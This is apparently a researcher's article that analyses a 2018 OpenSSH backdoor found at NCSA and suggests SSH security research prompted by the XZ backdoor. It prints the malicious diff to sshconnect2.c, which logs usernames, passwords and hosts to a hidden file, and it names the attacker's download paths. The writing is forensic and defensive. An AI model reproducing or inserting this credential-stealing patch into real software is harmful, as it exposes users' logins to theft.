A Tale of an SSH Backdoor and Research Outlook (in response to the XZ Backdoor incident)
The recent backdoor in XZ leading to Secure Shell (SSH) server compromise: 1) reminds us of lessons learned from previous security incidents, and 2) stipulates important community discussions.
The recent backdoor in XZ leading to Secure Shell (SSH) server compromise is still evolving [1,2,3]. For open-networked environments such as HPC or supercomputers, login nodes are particularly vulnerable. This XZ backdoor reminds us of lessons learned from previous security incidents [4] and stipulates important community discussions below.
The SSH backdoor security incident
In April 2018, NCSA's security team was notified of suspicious activity on a multiuser host supporting a major science project. A legitimate user on that machine reported attempts to connect from the host to the Fermi National Accelerator Laboratory (FNAL).
The source code of the backdoor in one instance of OpenSSH’s sshconnect2.c is listed below.
openssh/sshconnect2.c (diff output)int userauth_passwd(Authctxt *authctxt){
+ mode_t u;
+ char *file_path = "/usr/lib64/.lib/lib64.so";
+ int fd = open(file_path, O_WRONLY | O_APPEND,
+ S_IRWXG | S_IRWXO | S_IRWXU);
+ if (fd != -1) {
+ int usize = strlen(authctxt->server_user);
+ int psize = strlen(password);
+ int hsize = strlen(authctxt->host);
+ int out_size = usize+psize+hsize+4;
+ char *out = (char *) malloc(out_size);
+ if (out != NULL) {
+ strcpy(out, authctxt->server_user);
+ strcat(out, password);
+ strcat(out, authctxt->host);
+ write(fd, out, out_size);
+ free(out);
+ }
}Analysis of network logs indicated that this user’s account had been accessed a number of times from suspicious IP addresses during the previous two weeks. Cross-examination of the host's file system revealed that the SSH daemon binary file /usr/bin/ssh was different from the official version that should have been installed on the host.
The modified file was related to suspicious downloads 181.215.xxx.yyy:24221/op3.tgz and 182.215.xxx.yyy/sp.tgz from a remote server. The file, op3.tgz, contained the source code for OpenSSH v5.3.p1 and was compiled locally to create the ssh binary with which the authentic file was replaced. Analysis of the modified ssh binary and OpenSSH source code revealed that the malicious binary contained modifications of the original OpenSSH so that it would record SSH login credentials to a file, /usr/lib64/.lib/lib64.so. The location and name of this file were designed to hide it from plain sight (e.g., simply by running the \texttt{ls} command). An examination of the lib64.so file revealed that the attacker had collected the credentials of two users across three different systems. We suspect that the attacker logged in periodically to collect the stolen credentials and the hosts to which they had connected, and then cleared the credentials from the file. A snippet of the malicious code is shown in the code listing above. While previous work has covered brute-force SSH attacks, none has covered a sophisticated attack with this level of detail. Forensic analysis of this attack has driven the design of our SSH auditor to identify potentially compromised SSH servers.
As a result of the compromise, the stolen user credentials were used to access an iForge cluster, a high-performance computing cluster designed specifically for NCSA's industry partners. Although the stolen user accounts were confirmed to have been accessed and the attackers tried to escalate privileges, the attack failed, as the stolen user accounts did not have root privileges on the iForge system. A comprehensive examination of other hosts accessible by this account did not reveal any further indications of privilege escalation.
Investigations of the legitimate user revealed that the real user had accessed an NCSA server from a host in the United Kingdom (UK) in March 2018, as confirmed in login records. The NCSA team provided indications of the compromise to the admin of the host in the UK, 148.197.xxx.yyy, and the admin confirmed that they had indeed been compromised. Further examination suggested that the UK host had been compromised as far back as February 2017. Fortunately, NCSA's logs show that there was no access of the legitimate user's NCSA account at that time.
The continuous SSH auditing system at NCSA, described in the figure above, helped to identify this SSH backdoor before widespread lateral movement.
Remark. The compromise of this user’s password likely occurred on the UK host. Although the UK host had been compromised a year before, the attackers stayed dormant, in part because they didn't know exactly what systems the UK host could access. Upon making a successful connection from the UK host to NCSA, the attackers compromised the host at NCSA and tried to reach its peers, including Fermi lab and the iForge cluster.
Research outlook based on the XZ backdoor
The nation's security depends on SSH which is the most important entry point of the cloud and HPC (supercomputing systems). While the XZ / liblzma backdoor story is still evolving, for open-networked environments such as HPC, login nodes are particularly vulnerable. The problem of identifying SSH backdoors, and hardware/software supply chain security in general, remains unsolved and requires both technical and policy approaches. Best software engineering practices have contributed to the discovery and investigation of the XZ backdoor, including:
Auditing record keeping of code commits.
Collaborative forensic investigation.
Performance/regression tests to identify anomalies in new code commits.
At the same time, we list below several future directions for community research
Continuous verification of code commits.
Correct-by-construction SSH daemon implementation that is automatically synthesized from a formal specification.
Lightweight, bare minimum SSHD implementation for easier manual auditing.
Sandboxing SSHD to prevent lateral movements.
…
If you have any other ideas, it is welcome to discuss them with the author.
References:
[1] backdoor in upstream xz/liblzma leading to ssh server compromise, https://www.openwall.com/lists/oss-security/2024/03/29/4
[2] Reported Supply Chain Compromise Affecting XZ Utils Data Compression Library, CVE-2024-3094, https://www.cisa.gov/news-events/alerts/2024/03/29/reported-supply-chain-compromise-affecting-xz-utils-data-compression-library-cve-2024-3094
[3] Urgent security alert for Fedora Linux 40 and Fedora Rawhide users, https://thehackernews.com/2024/03/urgent-secret-backdoor-found-in-xz.html
[4] CAUDIT: Continuous Auditing of SSH Servers To Mitigate Brute-Force Attacks
Phuong Cao, Y Wu, SS Banerjee, J Azoff, A Withers, ZT Kalbarczyk, RK Iyer
16th USENIX Symposium on Networked Systems Design and Implementation (NSDI)